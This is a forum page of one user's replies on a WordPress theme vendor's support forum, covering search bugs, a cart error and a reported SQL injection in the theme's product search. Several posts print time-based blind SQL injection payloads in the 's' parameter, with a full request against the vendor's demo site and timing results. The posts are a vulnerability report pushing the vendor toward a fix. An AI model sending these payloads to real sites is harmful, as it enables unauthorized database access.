Forum Replies Created

Viewing 30 posts - 1 through 30 (of 70 total)
  • Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Thank you for the explanation.
    I understand that the issue occurred when XStore’s cached API data expired at the same time as the 8Theme server was overloaded.
    However, this still seems like a reliability issue in the theme. If refreshing those caches requires synchronous requests to 8Theme, then the same problem can happen again whenever your API is unavailable at the moment the cache expires.
    Would it be possible to change this behaviour so that API/cache refreshes are performed asynchronously, or that XStore continues using stale cached data when the 8Theme API cannot be reached? A temporary outage of 8Theme infrastructure should ideally not affect the performance of customer websites.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Yes, it now works on test. However when I updated live and also uploaded the plugin you mentioned in last comment it does not.
    I compare test and live and only difference is theme-functions.php. So I uploaded that file from test and got it working. Live had the latest version though.
    Uploading file comparison, the one on the left side is from test and works, the one on the right is from live and did not work.

    Files is visible for topic creator and
    support staff only.
    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Update the plugin, but no change, search does not find anything.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    And you did solve it on that test site, but the changes you made later on messed it up again.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Access info is the same as before

    Please contact administrator
    for this information.
    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Oh comon, you have already tried to solve it on my website. Nothing more to demonstrate, search does not give you any results.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Thanks for the support! My topic “Search stopped working after update to 9.7.2” has been successfully resolved.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Thanks!

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Here are the details:

    Please contact administrator
    for this information.
    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Well, latest update still has the same issue.
    I just created a new blank site test.hilo.ee
    Search works fine without WPML, but with WPML it does not find any product.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Thank you!

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    The prepared SQL string should be left open since the remaining parentheses are closed later by the appended SQL
    $where .= “) )”;

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    You still have to remove the )
    This breaks the product search with WPML.

    Files is visible for topic creator and
    support staff only.
    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Also your recent patch fixed the SQL grouping issue and improved the SKU search branch by using prepare() and esc_like().
    However, the search is still not fully hardened against SQL injection, because the variation search block still concatenates the raw search term into SQL LIKE ‘%$s%’ conditions.

    See more info I posted in this topic: https://www.8theme.com/topic/new-sql-injection-vulnerability-discovered/#post-434516

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    The problem was that when the old SKU search code was converted to use prepare(), the SQL structure changed slightly: a closing parenthesis was added too early inside the prepared fragment.

    Line 880 should be:
    “,
    not
    )”,

    I’d also use
    $s = trim( wp_unslash( $wp_the_query->query_vars[‘s’] ?? ” ) );
    on line 857

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Thanks for the support! My topic “Search results paging issue, showing as blog posts” has been successfully resolved.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Yes, that worked. Showing fine now. Thanks!

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    You have to add it from product page to cart.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    I have all the latest versions. The issue happens when you add product to cart and are using translated page. If you are using default language it does not happen.

    Switch to a secondary language.
    Add a product (AJAX: ?wc-ajax=add_to_cart / popup).
    → 500 error.

    XStore’s etheme_get_added_cart_product_info() triggers woocommerce_cart_item_name with NULL args; WCML’s WCML_Cart->adjust_cart_item_product_name() then calls $product->get_id() on null → fatal.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Well I ran different SQL Injection scans with different payloads and always common denominator in vulnerable url was et_search (as you can also see from my examples provided).
    When I disabled that functionality from functions.php or used storefront theme the same scans turned out to be negative.

    Please contact administrator
    for this information.
    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Confirmed with Burp Suite:

    Issue detail
    The s parameter appears to be vulnerable to SQL injection attacks. The payload ‘+(select*from(select(sleep(20)))a)+’ was submitted in the s parameter. The application took 22154 milliseconds to respond to the request, compared with 261 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

    Please contact administrator
    for this information.
    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    I applied the change you posted here on my test site and this did not solve vulnerability issue.

    I have tested it with storefront theme and with that there is no such issue.

    It is directly linked to your et-core plugin search functionality.

    I’m not sure why are you so stubborn looking more into this critical issue.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Acunetix Vulnerability Confidence score is 100%

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Here is the request on your demo site:

    GET /demos/cosmetics/page/1/?et_search=true&orderby=relevance&paged=1&post_type=product&s=e0’XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR’Z HTTP/1.1
    X-Requested-With: XMLHttpRequest
    Referer: https://xstore.8theme.com/demos/cosmetics/
    Cookie: et_search_history=[“the”]; sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_current_add=fd%3D2025-02-20%2010%3A37%3A50%7C%7C%7Cep%3Dhttps%3A%2F%2Fxstore.8theme.com%2Fdemos%2Fcosmetics%2Fproduct%2Facqua-di-parma%2F%7C%7C%7Crf%3Dhttps%3A%2F%2Fxstore.8theme.com%2Fdemos%2Fcosmetics%2F; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first_add=fd%3D2025-02-20%2010%3A37%3A50%7C%7C%7Cep%3Dhttps%3A%2F%2Fxstore.8theme.com%2Fdemos%2Fcosmetics%2Fproduct%2Facqua-di-parma%2F%7C%7C%7Crf%3Dhttps%3A%2F%2Fxstore.8theme.com%2Fdemos%2Fcosmetics%2F; sbjs_migrations=1418474375998%3D1; sbjs_session=pgs%3D32%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fxstore.8theme.com%2Fdemos%2Fcosmetics%2Fmy-account%2Flost-password%2F; sbjs_udata=vst%3D1%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20×64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F131.0.0.0%20Safari%2F537.36; woocommerce_cart_hash=8c3764fe084d12e6adf7c776cf28572a; woocommerce_items_in_cart=1; woocommerce_recently_viewed=821%7C2638%7C561%7C552%7C891%7C903%7C844%7C843%7C594%7C801; wordpress_test_cookie=WP%20Cookie%20check; wp_woocommerce_session_8c27b084e8150232c89ef1e89c16f277=t_14452e31e780638b013488b2e6df10%7C%7C1740220664%7C%7C1740217064%7C%7C0e4915eca4bf8c15bda1692238038c25; xstore_wishlist_ids_7=
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Encoding: gzip,deflate,br
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
    Host: xstore.8theme.com
    Connection: Keep-alive

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Here is another example:

    URL encoded GET input s was set to e0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z

    Tests performed:
    e0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z => 19.999
    e0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z => 12.763
    e0’XOR(if(now()=sysdate(),sleep(3),0))XOR’Z => 6.845
    e0’XOR(if(now()=sysdate(),sleep(0),0))XOR’Z => 1.264
    e0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z => 20
    e0’XOR(if(now()=sysdate(),sleep(0),0))XOR’Z => 0.764
    e0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z => 12.915

    Original value: e

    Meaning the site is vulnerable to SQLi

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    If I disabled et-core plugins search functionality through functions.php it secured my website!

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    As I pointed out at the beginning ONLY plugins and themes installed on test page:
    Wordpress version: 6.7.2
    WooCommerce version 9.6.2
    XStore Core version 5.4.7
    Xstore Version: 9.4.7

    I sent you multiple times exact HTTP requests and attack details.

    Acunetix by Invicti is much more advanced DAST system than patchstack. Last test on your site was done just hours ago.
    Let me know which URL you test and I can run it on that site as well.

    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Some more notes in private:

    Please contact administrator
    for this information.
    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    I ran a test on your demo site, results in private content area.

    Please contact administrator
    for this information.
    Avatar: Kristjan_Rebane
    Kristjan
    Participant

    Well, that is better, but not enough (still vulnerable according to tests). Even chatgpt can give you more information on SQLi vulnerabilities in the code.

  • 1 2 3
    1–30 of 70 posts
Viewing 30 posts - 1 through 30 (of 70 total)